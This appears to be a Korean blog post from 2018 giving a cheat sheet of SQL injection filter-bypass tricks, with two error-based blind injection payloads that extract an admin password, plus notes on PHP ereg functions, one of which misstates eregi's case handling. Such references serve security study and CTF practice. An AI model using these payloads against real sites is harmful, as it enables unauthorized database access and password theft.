ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x00.Injection Sheet
    0x.Web 2018. 1. 10. 17:54

    0x00.Injection Sheet



    1. substr 우회

       right, left, mid 사용

       substr('apple',1,1) = 'a'  ->  right(left('apple',1),1) = 'a'

       substr('apple',1,1) = 'a'  ->  mid('apple',1,1) = 'a'


    2. ascii 우회

       ord, hex 사용

       ascii(substr(pw,1,1)) = ord(substr(pw,1,1))


    3. =, like, or, and 우회

      = : like, between, in, instr 이용

      or : ||   and : &&


    4. 빈칸(공백) 우회

      ' ' : ( ), /**/, %09, %0a, %0c, %0b, +

     - HT(Horizontal Tab) = 수평탭, LF(Line Feed), VT(Vertical Tab) = 수직탭, FF(Form Feed)


    5. ' (작은따옴표) 우회

      char 이용 or " (큰따옴표) 사용


    6. ereg, eregi 우회

      - 특수문자 = %00 이용

      - 문자열 = 대소문자 변경


    7. preg_match 우회

     \ 이용


    8. 에러 발생 시 에러를 보여주지 않고 그냥 exit()로 종료 시킬 때

     - error based blind 기법 활용

     ex) ' or id='admin' and if(substr(hex(pw),1,1)='1',(select 1 union select 2),2)#

     ex) ' or id='admin'&&power((length(pw)>10)+1,999999999999999999)# <- if나 case 등 조건문이 필터링되었을 경우


    9. 함수 정리


    1. ereg() 함수 - 문자열중에 찾는값이 있으면 TRUE 를 반환, 아니면 FALSE를 반환

      - ereg("찾는값","문자열",array[matches])

        3번째 인자를 사용할 경우에는 값을 찾아낸 문자열을 matches에 저장


    2. eregi() 함수 - ereg와 같으나 대소문자를 구별

      - eregi("찾는값","문자열",array[matches])


    3. ereg_replace() 함수 - 문자열을 찾는값이 나오면 치환값으로 치환

      - ereg_replace("찾는값","치환값","문자열")


    4. eregi_replace() 함수 - ereg_replace와 같으나 대소문자를 구분

      - eregi_replace("찾는값","치환값","문자열")


    mysql 명령어 정리 : http://g0pher.tistory.com/182


    출처: http://www.hides.kr/203 [Hide]
    출처: http://rootable.tistory.com/entry/SQL-Injection-필터링-우회 [Always Practice]




    '0x.Web' 카테고리의 다른 글

    0x01.Django SSTI  (0) 2018.11.21

    댓글

Designed by Tistory.